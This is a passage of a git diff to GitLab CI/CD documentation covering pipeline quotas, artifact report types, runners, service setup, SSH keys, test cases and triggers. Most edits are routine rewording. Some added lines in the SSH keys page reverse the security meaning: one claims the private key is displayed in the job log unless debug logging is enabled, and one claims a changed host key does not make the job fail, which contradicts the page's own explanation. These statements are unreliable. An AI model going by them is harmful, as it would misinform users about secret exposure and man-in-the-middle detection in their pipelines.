all pipeline caches, and deletes all related objects, such as builds, logs, artifacts, and triggers. **This action cannot be undone.** @@ -261,6 +261,18 @@ The union of A, B, and C is (1, 4) and (6, 7). Therefore, the total running time (4 - 1) + (7 - 6) => 4 ``` +#### How pipeline quota usage is calculated + +Pipeline quota usage is calculated as the sum of the duration of each individual job. This is slightly different to how pipeline _duration_ is [calculated](#how-pipeline-duration-is-calculated). Pipeline quota usage doesn't consider any overlap of jobs running in parallel. + +For example, a pipeline consists of the following jobs: + +- Job A takes 3 minutes. +- Job B takes 3 minutes. +- Job C takes 2 minutes. + +The pipeline quota usage is the sum of each job's duration. In this example, 8 runner minutes would be used, calculated as: 3 + 3 + 2. + ### Pipeline security on protected branches A strict security model is enforced when pipelines are executed on diff --git a/doc/ci/pipelines/job_artifacts.md b/doc/ci/pipelines/job_artifacts.md index 160399e4bc4..787ee8f8573 100644 --- a/doc/ci/pipelines/job_artifacts.md +++ b/doc/ci/pipelines/job_artifacts.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/job_artifacts.html' type: reference, howto --- @@ -58,7 +58,7 @@ For more examples on artifacts, follow the [artifacts reference in > - Requires GitLab Runner 11.2 and above. The `artifacts:reports` keyword is used for collecting test reports, code quality -reports, and security reports from jobs. It also exposes these reports in GitLab's +reports, and security reports from jobs. It also exposes these reports in the GitLab UI (merge requests, pipeline views, and security dashboards). The test reports are collected regardless of the job results (success or failure). @@ -213,12 +213,34 @@ as artifacts. The collected DAST report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security dashboards. +#### `artifacts:reports:api_fuzzing` **(ULTIMATE)** + +> - Introduced in GitLab 13.4. +> - Requires GitLab Runner 13.4 or later. + +The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md) +as artifacts. + +The collected API Fuzzing report uploads to GitLab as an artifact and is summarized in merge +requests and the pipeline view. It's also used to provide data for security dashboards. + +#### `artifacts:reports:coverage_fuzzing` **(ULTIMATE)** + +> - Introduced in GitLab 13.4. +> - Requires GitLab Runner 13.4 or later. + +The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md) +as artifacts. + +The collected coverage fuzzing report uploads to GitLab as an artifact and is summarized in merge +requests and the pipeline view. It's also used to provide data for security dashboards. + #### `artifacts:reports:license_management` **(ULTIMATE)** > - Introduced in GitLab 11.5. > - Requires GitLab Runner 11.5 and above. -CAUTION: **Warning:** +WARNING: This artifact is still valid but is **deprecated** in favor of the [artifacts:reports:license_scanning](../pipelines/job_artifacts.md#artifactsreportslicense_scanning) introduced in GitLab 12.8. @@ -337,7 +359,7 @@ in the GitLab UI to do this: It's possible to download the latest artifacts of a job via a well known URL so you can use it for scripting purposes. -NOTE: **Note:** +NOTE: The latest artifacts are created by jobs in the **most recent** successful pipeline for the specific ref. If you run two types of pipelines for the same ref, timing determines the latest artifact. For example, if a merge request creates a branch pipeline at the same time as a scheduled pipeline, the pipeline that completed most recently creates the latest artifact. @@ -416,7 +438,7 @@ information in the UI. ## Erasing artifacts -DANGER: **Warning:** +WARNING: This is a destructive action that leads to data loss. Use with caution. You can erase a single job via the UI, which also removes the job's diff --git a/doc/ci/pipelines/pipeline_architectures.md b/doc/ci/pipelines/pipeline_architectures.md index 77614424b33..73677dd6986 100644 --- a/doc/ci/pipelines/pipeline_architectures.md +++ b/doc/ci/pipelines/pipeline_architectures.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -22,8 +22,8 @@ any of the keywords used below, check out our [CI YAML reference](../yaml/README ## Basic Pipelines -This is the simplest pipeline in GitLab. It will run everything in the build stage concurrently, -and once all of those finish, it will run everything in the test stage the same way, and so on. +This is the simplest pipeline in GitLab. It runs everything in the build stage concurrently, +and once all of those finish, it runs everything in the test stage the same way, and so on. It's not the most efficient, and if you have lots of steps it can grow quite complex, but it's easier to maintain: @@ -101,7 +101,7 @@ your jobs. When GitLab knows the relationships between your jobs, it can run eve as fast as possible, and even skips into subsequent stages when possible. In the example below, if `build_a` and `test_a` are much faster than `build_b` and -`test_b`, GitLab will start `deploy_a` even if `build_b` is still running. +`test_b`, GitLab starts `deploy_a` even if `build_b` is still running. ```mermaid graph LR @@ -163,7 +163,7 @@ deploy_b: In the examples above, it's clear we've got two types of things that could be built independently. This is an ideal case for using [Child / Parent Pipelines](../parent_child_pipelines.md)) via -the [`trigger` keyword](../yaml/README.md#trigger). It will separate out the configuration +the [`trigger` keyword](../yaml/README.md#trigger). It separates out the configuration into multiple files, keeping things very simple. You can also combine this with: - The [`rules` keyword](../yaml/README.md#rules): For example, have the child pipelines triggered only diff --git a/doc/ci/pipelines/pipeline_artifacts.md b/doc/ci/pipelines/pipeline_artifacts.md index 8d70fff4e03..e405258092d 100644 --- a/doc/ci/pipelines/pipeline_artifacts.md +++ b/doc/ci/pipelines/pipeline_artifacts.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference, howto --- @@ -13,6 +13,6 @@ Pipeline artifacts are used by the [test coverage visualization feature](../../u ## Storage -Pipeline artifacts are saved to disk or object storage. They count towards a project's [storage usage quota](../../user/group/index.md#storage-usage-quota). The **Artifacts** on the usage quote page is the sum of all job artifacts and pipeline artifacts. +Pipeline artifacts are saved to disk or object storage. They count towards a project's [storage usage quota](../../user/usage_quotas.md#storage-usage-quota). The **Artifacts** on the Usage Quotas page is the sum of all job artifacts and pipeline artifacts. Pipeline artifacts are erased after one week. diff --git a/doc/ci/pipelines/pipeline_efficiency.md b/doc/ci/pipelines/pipeline_efficiency.md index 149c596430c..de78b8558c4 100644 --- a/doc/ci/pipelines/pipeline_efficiency.md +++ b/doc/ci/pipelines/pipeline_efficiency.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -105,10 +105,10 @@ External monitoring tools can poll the API and verify pipeline health or collect metrics for long term SLA analytics. For example, the [GitLab CI Pipelines Exporter](https://github.com/mvisonneau/gitlab-ci-pipelines-exporter) -for Prometheus fetches metrics from the API. It can check branches in projects automatically +for Prometheus fetches metrics from the API and pipeline events. It can check branches in projects automatically and get the pipeline status and duration. In combination with a Grafana dashboard, this helps build an actionable view for your operations team. Metric graphs can also -be embedded into incidents making problem resolving easier. +be embedded into incidents making problem resolving easier. Additionally, it can also export metrics about jobs and environments.  @@ -189,8 +189,12 @@ be more efficient, but can also make pipelines harder to understand and analyze. ### Caching -Another optimization method is to use [caching](../caching/index.md) between jobs and stages, -for example [`/node_modules` for NodeJS](../caching/index.md#caching-nodejs-dependencies). +Another optimization method is to [cache](../caching/index.md) dependencies. If your +dependencies change rarely, like [NodeJS `/node_modules`](../caching/index.md#cache-nodejs-dependencies), +caching can make pipeline execution much faster. + +You can use [`cache:when`](../yaml/README.md#cachewhen) to cache downloaded dependencies +even when a job fails. ### Docker Images diff --git a/doc/ci/pipelines/schedules.md b/doc/ci/pipelines/schedules.md index 9df73957293..35a8888381f 100644 --- a/doc/ci/pipelines/schedules.md +++ b/doc/ci/pipelines/schedules.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/schedules.html' type: reference, howto --- @@ -43,7 +43,7 @@ To schedule a pipeline for project:  -NOTE: **Note:** +NOTE: Pipelines execution [timing is dependent](#advanced-configuration) on Sidekiq's own schedule. In the **Schedules** index page you can see a list of the pipelines that are @@ -56,15 +56,15 @@ is installed on. > [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/12328) in GitLab 9.4. -You can pass any number of arbitrary variables and they will be available in +You can pass any number of arbitrary variables. They are available in GitLab CI/CD so that they can be used in your [`.gitlab-ci.yml` file](../../ci/yaml/README.md).  ### Using only and except -To configure that a job can be executed only when the pipeline has been -scheduled (or the opposite), you can use +To configure a job to be executed only when the pipeline has been +scheduled (or the opposite), use [only and except](../yaml/README.md#onlyexcept-basic) configuration keywords. For example: @@ -102,7 +102,7 @@ For GitLab.com, refer to the [dedicated settings page](../../user/gitlab_com/ind ## Working with scheduled pipelines -Once configured, GitLab supports many functions for working with scheduled pipelines. +After configuration, GitLab supports many functions for working with scheduled pipelines. ### Running manually @@ -115,7 +115,7 @@ To trigger a pipeline schedule manually, click the "Play" button: This schedules a background job to run the pipeline schedule. A flash message provides a link to the CI/CD Pipeline index page. -NOTE: **Note:** +NOTE: To help avoid abuse, users are rate limited to triggering a pipeline once per minute. @@ -128,7 +128,7 @@ The next time a pipeline is scheduled, your credentials are used.  -If the owner of a pipeline schedule does not have the ability to create +If the owner of a pipeline schedule cannot create pipelines on the target branch, the schedule stops creating new pipelines. diff --git a/doc/ci/pipelines/settings.md b/doc/ci/pipelines/settings.md index d2d2cb26256..5a758bccd62 100644 --- a/doc/ci/pipelines/settings.md +++ b/doc/ci/pipelines/settings.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments disqus_identifier: 'https://docs.gitlab.com/ee/user/project/pipelines/settings.html' type: reference, howto --- @@ -26,7 +26,7 @@ There are two options. Using: - `git clone`, which is slower since it clones the repository from scratch for every job, ensuring that the local working copy is always pristine. -- `git fetch`, which is GitLab's default and faster as it re-uses the local working copy (falling +- `git fetch`, which is default in GitLab and faster as it re-uses the local working copy (falling back to clone if it doesn't exist). This is recommended, especially for [large repositories](../large_repositories/index.md#git-strategy). @@ -170,7 +170,7 @@ Pipeline visibility is determined by: - Your current [user access level](../../user/permissions.md). - The **Public pipelines** project setting under your project's **Settings > CI/CD > General pipelines**. -NOTE: **Note:** +NOTE: If the project visibility is set to **Private**, the [**Public pipelines** setting has no effect](../enable_or_disable_ci.md#per-project-user-setting). This also determines the visibility of these related features: @@ -209,7 +209,8 @@ You can set pending or running pipelines to cancel automatically when a new pipe 1. Check the **Auto-cancel redundant, pending pipelines** checkbox. 1. Click **Save changes**. -Note that only jobs with [interruptible](../yaml/README.md#interruptible) set to `true` are cancelled. +Use the [`interruptible`](../yaml/README.md#interruptible) keyword to indicate if a +running job can be cancelled before it completes. ## Skip outdated deployment jobs diff --git a/doc/ci/quick_start/README.md b/doc/ci/quick_start/README.md index f3e60fae13a..7fd88d011b3 100644 --- a/doc/ci/quick_start/README.md +++ b/doc/ci/quick_start/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -53,7 +53,7 @@ must [install GitLab Runner](https://docs.gitlab.com/runner/install/) and [register](https://docs.gitlab.com/runner/register/) at least one runner. If you are testing CI/CD, you can install GitLab Runner and register runners on your local machine. -When your CI/CD jobs run, they will run on your local machine. +When your CI/CD jobs run, they run on your local machine. ### Create a `.gitlab-ci.yml` file @@ -79,7 +79,7 @@ To create a `.gitlab-ci.yml` file:  -1. For the **File name** type `.gitlab-ci.yml` and in the larger window, +1. For the **Filename**, type `.gitlab-ci.yml` and in the larger window, paste this sample code: ```yaml diff --git a/doc/ci/quick_start/img/job_details_v13_6.png b/doc/ci/quick_start/img/job_details_v13_6.png Binary files differindex e94287f90ba..073ebc99b6d 100644 --- a/doc/ci/quick_start/img/job_details_v13_6.png +++ b/doc/ci/quick_start/img/job_details_v13_6.png diff --git a/doc/ci/quick_start/img/pipeline_graph_v13_6.png b/doc/ci/quick_start/img/pipeline_graph_v13_6.png Binary files differindex fcf7e02d1f3..cb045125287 100644 --- a/doc/ci/quick_start/img/pipeline_graph_v13_6.png +++ b/doc/ci/quick_start/img/pipeline_graph_v13_6.png diff --git a/doc/ci/quick_start/img/runners_activated.png b/doc/ci/quick_start/img/runners_activated.png Binary files differdeleted file mode 100644 index ac09e1d0137..00000000000 --- a/doc/ci/quick_start/img/runners_activated.png +++ /dev/null diff --git a/doc/ci/quick_start/img/three_stages_v13_6.png b/doc/ci/quick_start/img/three_stages_v13_6.png Binary files differindex a6c049e3e6c..c69581015a9 100644 --- a/doc/ci/quick_start/img/three_stages_v13_6.png +++ b/doc/ci/quick_start/img/three_stages_v13_6.png diff --git a/doc/ci/review_apps/index.md b/doc/ci/review_apps/index.md index ba23eff0434..31fcfe9d6e8 100644 --- a/doc/ci/review_apps/index.md +++ b/doc/ci/review_apps/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Progressive Delivery -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -125,7 +125,7 @@ paths (on the website). ### Route Maps example The following is an example of a route map for [Middleman](https://middlemanapp.com), -a static site generator (SSG) used to build [GitLab's website](https://about.gitlab.com), +a static site generator (SSG) used to build the [GitLab website](https://about.gitlab.com), deployed from its [project on GitLab.com](https://gitlab.com/gitlab-com/www-gitlab-com): ```yaml diff --git a/doc/ci/runners/README.md b/doc/ci/runners/README.md index 4392fa3c78b..c9a5f2f3899 100644 --- a/doc/ci/runners/README.md +++ b/doc/ci/runners/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -207,7 +207,7 @@ must be enabled for each project explicitly. Specific runners process jobs by using a first in, first out ([FIFO](https://en.wikipedia.org/wiki/FIFO_(computing_and_electronics))) queue. -NOTE: **Note:** +NOTE: Specific runners do not get shared with forked projects automatically. A fork *does* copy the CI / CD settings of the cloned repository. @@ -271,21 +271,21 @@ How this feature works: 1. You set the _maximum job timeout_ for a runner to 24 hours 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job -1. The job, if running longer, will be timed out after **2 hours** +1. The job, if running longer, times out after **2 hours** **Example 2 - Runner timeout not configured** 1. You remove the _maximum job timeout_ configuration from a runner 1. You set the _CI/CD Timeout_ for a project to **2 hours** 1. You start a job -1. The job, if running longer, will be timed out after **2 hours** +1. The job, if running longer, times out after **2 hours** **Example 3 - Runner timeout smaller than project timeout** 1. You set the _maximum job timeout_ for a runner to **30 minutes** 1. You set the _CI/CD Timeout_ for a project to 2 hours 1. You start a job -1. The job, if running longer, will be timed out after **30 minutes** +1. The job, if running longer, times out after **30 minutes** ## Be careful with sensitive information @@ -360,8 +360,8 @@ value of the new token. It may be useful to know the IP address of a runner so you can troubleshoot issues with that runner. GitLab stores and displays the IP address by viewing the source of the HTTP requests it makes to GitLab when polling for jobs. The -IP address is always kept up to date so if the runner IP changes it will be -automatically updated in GitLab. +IP address is always kept up to date so if the runner IP changes it +automatically updates in GitLab. The IP address for shared runners and specific runners can be found in different places. @@ -413,7 +413,7 @@ To make a runner pick untagged jobs: 1. Check the **Run untagged jobs** option. 1. Click the **Save changes** button for the changes to take effect. -NOTE: **Note:** +NOTE: The runner tags list can not be empty when it's not allowed to pick untagged jobs. Below are some example scenarios of different variations. diff --git a/doc/ci/secrets/index.md b/doc/ci/secrets/index.md index fb1183cd68b..f05812f77f7 100644 --- a/doc/ci/secrets/index.md +++ b/doc/ci/secrets/index.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -42,7 +42,7 @@ is summarized by this diagram: 1. HashiCorp Vault returns the token. 1. Runner reads secrets from the HashiCorp Vault. -NOTE: **Note:** +NOTE: Read the [Authenticating and Reading Secrets With HashiCorp Vault](../examples/authenticating-with-hashicorp-vault/index.md) tutorial for a version of this feature. It's available to all subscription levels, supports writing secrets to and deleting secrets from Vault, @@ -89,7 +89,7 @@ To configure your Vault server: specified when the authentication method was configured. - `VAULT_AUTH_PATH` - (Optional) The path where the authentication method is mounted, default is `jwt`. - NOTE: **Note:** + NOTE: Support for [providing these values in the user interface](https://gitlab.com/gitlab-org/gitlab/-/issues/218677) is planned but not yet implemented. @@ -155,7 +155,7 @@ $ vault write auth/jwt/role/myproject-production - <<EOF EOF ``` -CAUTION: **Caution:** +WARNING: Always restrict your roles to a project or namespace by using one of the provided claims like `project_id` or `namespace_id`. Without these restrictions, any JWT generated by this GitLab instance may be allowed to authenticate using this role. diff --git a/doc/ci/services/README.md b/doc/ci/services/README.md index fda453b7aa0..71c2be70de3 100644 --- a/doc/ci/services/README.md +++ b/doc/ci/services/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments comments: false type: index --- diff --git a/doc/ci/services/docker-services.md b/doc/ci/services/docker-services.md index fdd38ed4c4e..e4653cdc9e2 100644 --- a/doc/ci/services/docker-services.md +++ b/doc/ci/services/docker-services.md @@ -3,3 +3,6 @@ redirect_to: 'README.md' --- This document was moved to [another location](README.md). + +<!-- This redirect file can be deleted after February 1, 2021. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/ci/services/mysql.md b/doc/ci/services/mysql.md index bbab1194191..1595907184e 100644 --- a/doc/ci/services/mysql.md +++ b/doc/ci/services/mysql.md @@ -1,7 +1,7 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -67,7 +67,7 @@ GitLab Runner with the Shell executor. 1. Choose a MySQL root password and type it twice when asked. - NOTE: **Note:** + NOTE: As a security measure, you can run `mysql_secure_installation` to remove anonymous users, drop the test database, and disable remote logins by the root user. @@ -78,7 +78,7 @@ GitLab Runner with the Shell executor. mysql -u root -p ``` -1. Create a user (in this case, `runner`) that will be used by your +1. Create a user (in this case, `runner`) that is used by your application. Change `$password` in the command to a strong password. At the `mysql>` prompt, type: diff --git a/doc/ci/services/postgres.md b/doc/ci/services/postgres.md index 96552ab1245..d37875e1e05 100644 --- a/doc/ci/services/postgres.md +++ b/doc/ci/services/postgres.md @@ -1,13 +1,13 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- # Using PostgreSQL -As many applications depend on PostgreSQL as their database, you will +As many applications depend on PostgreSQL as their database, you eventually need it in order for your tests to run. Below you are guided how to do this with the Docker and Shell executors of GitLab Runner. @@ -70,10 +70,10 @@ The next step is to create a user, so sign in to PostgreSQL: sudo -u postgres psql -d template1 ``` -Then create a user (in our case `runner`) which will be used by your +Then create a user (in our case `runner`) which is used by your application. Change `$password` in the command below to a real strong password. -NOTE: **Note:** +NOTE: Be sure to not enter `template1=#` in the following commands, as that's part of the PostgreSQL prompt. @@ -106,7 +106,7 @@ psql -U runner -h localhost -d nice_marmot -W ``` This command explicitly directs `psql` to connect to localhost to use the md5 -authentication. If you omit this step, you'll be denied access. +authentication. If you omit this step, you are denied access. Finally, configure your application to use the database, for example: @@ -124,4 +124,4 @@ convenience that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Fork it, commit, and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/services/redis.md b/doc/ci/services/redis.md index 77668d9104b..71d3ffb1c60 100644 --- a/doc/ci/services/redis.md +++ b/doc/ci/services/redis.md @@ -1,13 +1,13 @@ --- stage: Verify group: Runner -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- # Using Redis -As many applications depend on Redis as their key-value store, you will +As many applications depend on Redis as their key-value store, you eventually need it in order for your tests to run. Below you are guided how to do this with the Docker and Shell executors of GitLab Runner. @@ -30,7 +30,7 @@ example: Host: redis ``` -And that's it. Redis will now be available to be used within your testing +And that's it. Redis is now available to be used within your testing framework. You can also use any other Docker image available on [Docker Hub](https://hub.docker.com/_/redis). @@ -70,4 +70,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes are picked by a public runner and the job begins. diff --git a/doc/ci/ssh_keys/README.md b/doc/ci/ssh_keys/README.md index a329331df08..a5410d53a95 100644 --- a/doc/ci/ssh_keys/README.md +++ b/doc/ci/ssh_keys/README.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- @@ -36,7 +36,7 @@ with any type of [executor](https://docs.gitlab.com/runner/executors/) `~/.ssh/authorized_keys`) or add it as a [deploy key](../../ssh/README.md#deploy-keys) if you are accessing a private GitLab repository. -The private key will not be displayed in the job log, unless you enable +The private key is displayed in the job log, unless you enable [debug logging](../variables/README.md#debug-logging). You might also want to check the [visibility of your pipelines](../pipelines/settings.md#visibility-of-pipelines). @@ -46,7 +46,7 @@ When your CI/CD jobs run inside Docker containers (meaning the environment is contained) and you want to deploy your code in a private server, you need a way to access it. This is where an SSH key pair comes in handy. -1. You will first need to create an SSH key pair. For more information, follow +1. You first need to create an SSH key pair. For more information, follow the instructions to [generate an SSH key](../../ssh/README.md#generating-a-new-ssh-key-pair). **Do not** add a passphrase to the SSH key, or the `before_script` will prompt for it. @@ -144,9 +144,9 @@ For accessing repositories on GitLab.com, you would use `git@gitlab.com`. ## Verifying the SSH host keys It is a good practice to check the private server's own public key to make sure -you are not being targeted by a man-in-the-middle attack. In case anything -suspicious happens, you will notice it since the job would fail (the SSH -connection would fail if the public keys would not match). +you are not being targeted by a man-in-the-middle attack. If anything +suspicious happens, you notice it because the job fails (the SSH +connection fails when the public keys don't match). To find out the host keys of your server, run the `ssh-keyscan` command from a trusted network (ideally, from the private server itself): @@ -165,12 +165,12 @@ Create a new [variable](../variables/README.md#gitlab-cicd-environment-variables If you need to connect to multiple servers, all the server host keys need to be collected in the **Value** of the variable, one key per line. -TIP: **Tip:** +NOTE: By using a variable instead of `ssh-keyscan` directly inside `.gitlab-ci.yml`, it has the benefit that you don't have to change `.gitlab-ci.yml` if the host domain name changes for some reason. Also, the values are predefined -by you, meaning that if the host keys suddenly change, the CI/CD job will fail, -and you'll know there's something wrong with the server or the network. +by you, meaning that if the host keys suddenly change, the CI/CD job doesn't fail, +so there's something wrong with the server or the network. Now that the `SSH_KNOWN_HOSTS` variable is created, in addition to the [content of `.gitlab-ci.yml`](#ssh-keys-when-using-the-docker-executor) @@ -209,4 +209,4 @@ that runs on [GitLab.com](https://gitlab.com) using our publicly available [shared runners](../runners/README.md). Want to hack on it? Simply fork it, commit and push your changes. Within a few -moments the changes will be picked by a public runner and the job will begin. +moments the changes is picked by a public runner and the job starts. diff --git a/doc/ci/test_cases/img/test_case_list_v13_6.png b/doc/ci/test_cases/img/test_case_list_v13_6.png Binary files differnew file mode 100644 index 00000000000..b5d89582558 --- /dev/null +++ b/doc/ci/test_cases/img/test_case_list_v13_6.png diff --git a/doc/ci/test_cases/img/test_case_show_v13_6.png b/doc/ci/test_cases/img/test_case_show_v13_6.png Binary files differnew file mode 100644 index 00000000000..bbd7601cf30 --- /dev/null +++ b/doc/ci/test_cases/img/test_case_show_v13_6.png diff --git a/doc/ci/test_cases/index.md b/doc/ci/test_cases/index.md new file mode 100644 index 00000000000..6385b1638ff --- /dev/null +++ b/doc/ci/test_cases/index.md @@ -0,0 +1,80 @@ +--- +stage: Plan +group: Certify +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +description: Test cases in GitLab can help your teams create testing scenarios in their existing development platform. +type: reference +--- + +# Test Cases **(ULTIMATE)** + +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/233479) in GitLab 13.6. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/241983) in GitLab 13.7. + +Test cases in GitLab can help your teams create testing scenarios in their existing development platform. + +This can help the Implementation and Testing teams collaborate, because they no longer have to +use external test planning tools, which require additional overhead, context switching, and expense. + +## Create a test case + +Users with Reporter or higher [permissions](../../user/permissions.md) can create test cases. + +To create a test case in a GitLab project: + +1. Navigate to **CI/CD > Test Cases**. +1. Select the **New test case** button. You are taken to the new test case form. Here you can enter + the new case's title, [description](../../user/markdown.md), attach a file, and assign [labels](../../user/project/labels.md). +1. Select the **Submit test case** button. You are taken to view the new test case. + +## View a test case + +You can view all test cases in the project in the Test Cases list. Filter the +issue list with a search query, including labels or the test case's title. + +Users with Guest or higher [permissions](../../user/permissions.md) can view test cases. + + + +To view a test case: + +1. In a project, navigate to **CI/CD > Test Cases**. +1. Select the title of the test case you want to view. You are taken to the test case page. + + + +## Edit a test case + +You can edit a test case's title and description. + +Users with Reporter or higher [permissions](../../user/permissions.md) can edit test cases. +Users demoted to the Guest role can continue to edit the test cases they created +when they were in the higher role. + +To edit a test case: + +1. [View a test case](#view-a-test-case). +1. Select **Edit title and description** (**{pencil}**). +1. Edit the test case's title or description. +1. Select **Save changes**. + +## Archive a test case + +When you want to stop using a test case, you can archive it. You can [reopen an archived test case](#reopen-an-archived-test-case) later. + +Users with Reporter or higher [permissions](../../user/permissions.md) can archive test cases. + +To archive a test case, on the test case's page, select the **Archive test case** button. + +To view archived test cases: + +1. Navigate to **CI/CD > Test Cases**. +1. Select **Archived**. + +## Reopen an archived test case + +If you decide to start using an archived test case again, you can reopen it. + +Users with Reporter or higher [permissions](../../user/permissions.md) can reopen test cases. + +To reopen an archived test case, on the test case's page, select **Reopen test case**. diff --git a/doc/ci/triggers/README.md b/doc/ci/triggers/README.md index 6fca482975c..2e7ec58f048 100644 --- a/doc/ci/triggers/README.md +++ b/doc/ci/triggers/README.md @@ -1,11 +1,11 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: tutorial --- -# Triggering pipelines through the API +# Triggering pipelines through the API **(CORE)** Triggers can be used to force a pipeline rerun of a specific `ref` (branch or tag) with an API call. @@ -32,7 +32,7 @@ This also applies when using the `pipelines` or `triggers` keywords with the leg A unique trigger token can be obtained when [adding a new trigger](#adding-a-new-trigger). -DANGER: **Warning:** +WARNING: Passing plain text tokens in public projects is a security issue. Potential attackers can impersonate the user that exposed their trigger token publicly in their `.gitlab-ci.yml` file. Use [variables](../variables/README.md#gitlab-cicd-environment-variables) @@ -56,7 +56,7 @@ and it creates a dependent pipeline relation visible on the build_docs: stage: deploy script: - - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=master https://gitlab.example.com/api/v4/projects/9/trigger/pipeline + - curl --request POST --form "token=$CI_JOB_TOKEN" --form ref=master "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline" only: - tags ``` 